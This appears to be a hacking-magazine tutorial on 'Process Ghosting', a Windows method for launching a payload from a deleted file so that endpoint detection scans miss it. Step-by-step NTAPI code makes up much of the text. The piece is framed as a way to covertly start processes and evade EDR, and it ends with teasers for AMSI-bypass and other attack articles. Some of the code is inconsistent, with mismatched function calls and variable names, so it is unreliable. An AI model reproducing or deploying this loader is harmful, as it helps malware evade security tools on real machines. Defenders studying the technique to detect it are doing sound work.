
Process Ghosting is one of the most relevant techniques nowadays. Using it, an attacker can run malicious code from an already deleted file. Process Ghosting is frequently used in combat malware. But to understand how it works, let’s go through the basics first.
warning
This article is intended for security specialists operating under a contract; all information provided in it is for educational purposes only. Neither the author nor the Editorial Board can be held liable for any damages caused by improper usage of this publication. Distribution of malware, disruption of systems, and violation of secrecy of correspondence are prosecuted by law.
This article frequently mentions NTAPI functions. As you are likely aware, they cannot be just called; instead, you have to run them dynamically from ntdll.
.
EDR (Endpoint Detection and Response)
EDR tools often use various functions to monitor process creation, including:
- PsSetCreateProcessNotifyRoutineEx;
- PsSetCreateProcessNotifyRoutineEx2; and
- PsSetCreateProcessNotifyRoutine.
The file is scanned at startup, or more precisely, at the time of process creation. Below are the prototypes of the above-listed functions:
NTSTATUS PsSetCreateProcessNotifyRoutine( // Callback function of the handler [in] PCREATE_PROCESS_NOTIFY_ROUTINE NotifyRoutine, [in] BOOLEAN Remove);NTSTATUS PsSetCreateProcessNotifyRoutineEx( // Callback function of the handler [in] PCREATE_PROCESS_NOTIFY_ROUTINE_EX NotifyRoutine, [in] BOOLEAN Remove);NTSTATUS PsSetCreateProcessNotifyRoutineEx2( // Callback function of the handler [in] PSCREATEPROCESSNOTIFYTYPE NotifyType, [in] PVOID NotifyInformation, [in] BOOLEAN Remove);
Important: scan occurs precisely when the process starts, not in any other situation. This is done to save computational resources: otherwise, scanning all files in the system would take a very long time, especially during write operations.
For EDR, everything seems to be fine if a process is created using the NtCreateUserProcess
function (a modern NTAPI first introduced in Windows Vista): it performs almost all actions required to create a process and its first thread. All steps are performed in its context: the first thread of the process is created, callbacks from PsSetCreateProcessNotifyRoutineEx
are called, and so on. It’s really difficult to affect these procedures from the outside. Most importantly, EDR protection tools are effective only in this scenario because they expect the process to be created using NtCreateUserProcess
.
In a similar way, NTAPI can be called by standard APIs such as CreateProcess
(CreateProcess
→ CreateProcessInternalW
→ NtCreateUserProcess
) or RtlCreateUserProcess
(RtlCreateUserProcessEx
→ RtlpCreateUserProcess
→ NtCreateUserProcess
). In other words, even if you write code using WinAPI (which is a pretty rare thing nowadays), the ‘correct’ NtCreateUserProcess
function will still be called, thus, satisfying requirements of EDR tools.
But everything changes if you create a process using the NtCreateProcessEx
function. It’s older than NtCreateUserProcess
and was left in Windows for backward compatibility. The point is that this function makes it possible to create a process in a more ‘manual’ way: you can affect the creation of threads and run them from user mode. Furthermore, this operation is possible even if you replace or delete files and processes or set the required flags (which is what you actually do). As a result, your executable code remains only in memory and avoids scanning because it has already been deleted from the hard drive before the creation of its first thread.
Coding
Done with theory, let’s start programming. The following steps are required to implement Process Ghosting.
First, you have to create a temporary file that will be subsequently deleted. I am going to create such a file using the NtCreateFile
NTAPI function (don’t forget to grant it the required rights: delete, write, etc.). And, of course, this file should be stored in the folder for temporary files.
HANDLE hProcess = INVALID_HANDLE_VALUE;HANDLE hSection = INVALID_HANDLE_VALUE;HANDLE hTempFile = INVALID_HANDLE_VALUE;HANDLE hThread = INVALID_HANDLE_VALUE;wchar_t filename[MAX_PATH] = { 0 };wchar_t path_of_tempfile[MAX_PATH] = { 0 };UNICODE_STRING file_name = { 0 };IO_STATUS_BLOCK io_stat_block = { 0 };OBJECT_ATTRIBUTES attributes = { 0 };wstring nt_path = L"\\??\\" + wstring(filePath);DWORD tempfile_size = GetTempPathW(MAX_PATH, path_of_tempfile);GetTempFileNameW(path_of_tempfile, L"TEMP", 0, filename); if (tempfile_size > MAX_PATH || (tempfile_size == 0)) return 1;RtlInitUnicodeString(&file_name, nt_path.c_str());InitializeObjectAttributes(&attributes, &file_name, OBJ_CASE_INSENSITIVE, NULL, NULL);NTSTATUS status = NtOpenFile(&hTempFile, DELETE | SYNCHRONIZE | GENERIC_READ | GENERIC_WRITE, &attributes, &io_stat_block, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_SUPERSEDE | FILE_SYNCHRONOUS_IO_NONALERT);if (!NT_SUCCESS(status)) return INVALID_HANDLE_VALUE;
Next, you have to mark this file as ready to be deleted. For this purpose, use the NtSetInformationFile function and set the value of the last argument to FileDispositionInformation
. This will add the DeletePending flag to your file. Since that moment, the operating system will be ready to delete this temporarty file as soon as its handle is closed.
FILE_DISPOSITION_INFORMATION info = { 0 };info.DeleteFile = TRUE;status = NtSetInformationFile(hTempFile, &io_status_block, &info, sizeof(info), FileDispositionInformation);if (!NT_SUCCESS(status)) return INVALID_HANDLE_VALUE;
Now write the code (function NtWriteFile
) you want to be executed bypassing monitoring tools into your temporary file.
LARGE_INTEGER offset = { 0 };status = NtWriteFile( hTempFile, NULL, NULL, NULL, &status_block, // Buffer with payload myCodeBuf, // Payload size myCodeSize, &offset, NULL);if (!NT_SUCCESS(status)) return INVALID_HANDLE_VALUE;
Then you have to create a section object from your temporary file by calling the NtCreateSection
function. Don’t forget to set the correct function arguments: PAGE_READONLY
and SEC_IMAGE
(they will indicate that you are dealing with an executable image file).
status = NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, 0, PAGE_READONLY, SEC_IMAGE, // Create section from temporary file hTempFile);if (status != STATUS_SUCCESS) return INVALID_HANDLE_VALUE;
Now you can close the temporary file handle by calling NtClose
. Since this temporary file was created with the DeletePending
flag, as soon as the handle is closed, the OS immediately deletes the file.
NtClose(hTempFile);
The next step is to create a process from your section. As a result, you get a handle to a new process, which will be subsequently used to create a thread inside your process.
status = NtCreateProcessEx( &hProcess, PROCESS_ALL_ACCESS, NULL, NtCurrentProcess(), PS_INHERIT_HANDLES, // Your section created in an earlier step hSection, NULL, NULL, FALSE);if (status != STATUS_SUCCESS) return 1;
To enable your thread to run in the OS, you have to configure PEB and process parameters.
First, let’s take care of the parameters:
UNICODE_STRING ImagePath = { 0 };UNICODE_STRING DllPath = { 0 };wchar_t curDirPath[MAX_PATH] = { 0 };UNICODE_STRING CurrentDirectory = { 0 };UNICODE_STRING WindowTitle = { 0 };wchar_t dllSystemDir[] = L"C:\\Windows\\System32";wchar_t* windowTitle = (LPWSTR)L"Calculator";PRTL_USER_PROCESS_PARAMETERS pProcessParams = nullptr;LPVOID Environment;RtlInitUnicodeString(&ImagePath, victimPath);GetCurrentDirectoryW(MAX_PATH, curDirPath);RtlInitUnicodeString(&CurrentDirectory, curDirPath);RtlInitUnicodeString(&DllPath, dllSystemDir);RtlInitUnicodeString(&WindowTitle, windowTitle);CreateEnvironmentBlock(&Environment, NULL, TRUE);NTSTATUS status = RtlCreateProcessParametersEx( &pProcessParams, (PUNICODE_STRING)&ImagePath, (PUNICODE_STRING)&DllPath, (PUNICODE_STRING)&CurrentDirectory, (PUNICODE_STRING)&ImagePath, Environment, (PUNICODE_STRING)&WindowTitle, nullptr, nullptr, nullptr, RTL_USER_PROC_PARAMS_NORMALIZED);if (status != STATUS_SUCCESS) return 1;
Writing the parameters to the process (I omit endless if
statements required to check call correctness):
VirtualAllocEx(hProcess, (LPVOID)pProcessParams, pProcessParams->Length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);WriteProcessMemory(hProcess, (LPVOID)pProcessParams, (LPVOID)pProcessParams, pProcessParams->Length, NULL);VirtualAllocEx(hProcess, (LPVOID)pProcessParams->Environment, pProcessParams->EnvironmentSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);WriteProcessMemory(hProcess, (LPVOID)pProcessParams->Environment, (LPVOID)pProcessParams->Environment, pProcessParams->EnvironmentSize, NULL);
Time to configure PEB. In fact, this is a standard procedure implemented when such processes are started using NtCreateProcessEx
and similar functions. It’s present in any code and isn’t specific to Process Ghosting.
PEB peb_struct = { 0 };PROCESS_BASIC_INFORMATION pbi = { 0 };SIZE_T count = 0;DWORD RetLen = 0;status = NtQueryInformationProcess( hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &RetLen);if (status != STATUS_SUCCESS) return 1;ULONGLONG pebBaseAddress = (ULONGLONG)pbi.PebBaseAddress;ULONGLONG param_offset = (ULONGLONG)&peb_struct.ProcessParameters - (ULONGLONG)&peb_struct;LPVOID new_image_base = (LPVOID)(pebBaseAddress + param_offset);if (!WriteProcessMemory(hProcess, new_image_base, &pProcessParams, sizeof(PVOID), &count)) return 1;
Creating the first thread in your process using the NtCreateThreadEx
function:
status = NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)processEntryPoint, // It can be computed using the formula: processEntryPoint = PEB.ImageBaseAddress + EntryPoint of your injected code NULL, FALSE, 0, 0, 0, NULL);if (status != STATUS_SUCCESS) return 1;
Conclusions
Congrats! Now you can covertly start processes using Process Ghosting! But it’s too early to rest on the laurels. Techniques used to hide code execution are just the first step towards full ‘invisibility’. In addition, this trick leaves some artifacts in memory (although other techniques can be applied to avoid detection). I am going to continue this series of publications; so, see you soon!

2022.06.01 — F#ck AMSI! How to bypass Antimalware Scan Interface and infect Windows
Is the phrase "This script contains malicious content and has been blocked by your antivirus software" familiar to you? It's generated by Antimalware Scan Interface…
Full article →
2022.06.02 — Climb the heap! Exploiting heap allocation problems
Some vulnerabilities originate from errors in the management of memory allocated on a heap. Exploitation of such weak spots is more complicated compared to 'regular' stack overflow; so,…
Full article →
2023.01.22 — Top 5 Ways to Use a VPN for Enhanced Online Privacy and Security
This is an external third-party advertising publication. In this period when technology is at its highest level, the importance of privacy and security has grown like never…
Full article →
2022.06.01 — WinAFL in practice. Using fuzzer to identify security holes in software
WinAFL is a fork of the renowned AFL fuzzer developed to fuzz closed-source programs on Windows systems. All aspects of WinAFL operation are described in the official documentation,…
Full article →
2023.03.03 — Nightmare Spoofing. Evil Twin attack over dynamic routing
Attacks on dynamic routing domains can wreak havoc on the network since they disrupt the routing process. In this article, I am going to present my own…
Full article →
2023.04.20 — Sad Guard. Identifying and exploiting vulnerability in AdGuard driver for Windows
Last year, I discovered a binary bug in the AdGuard driver. Its ID in the National Vulnerability Database is CVE-2022-45770. I was disassembling the ad blocker and found…
Full article →
2023.02.13 — Ethernet Abyss. Network pentesting at the data link layer
When you attack a network at the data link layer, you can 'leapfrog' over all protection mechanisms set at higher levels. This article will walk…
Full article →
2022.01.11 — Pentest in your own way. How to create a new testing methodology using OSCP and Hack The Box machines
Each aspiring pentester or information security enthusiast wants to advance at some point from reading exciting write-ups to practical tasks. How to do this in the best way…
Full article →
2022.12.15 — What Challenges To Overcome with the Help of Automated e2e Testing?
This is an external third-party advertising publication. Every good developer will tell you that software development is a complex task. It's a tricky process requiring…
Full article →
2023.07.20 — Evil modem. Establishing a foothold in the attacked system with a USB modem
If you have direct access to the target PC, you can create a permanent and continuous communication channel with it. All you need for this…
Full article →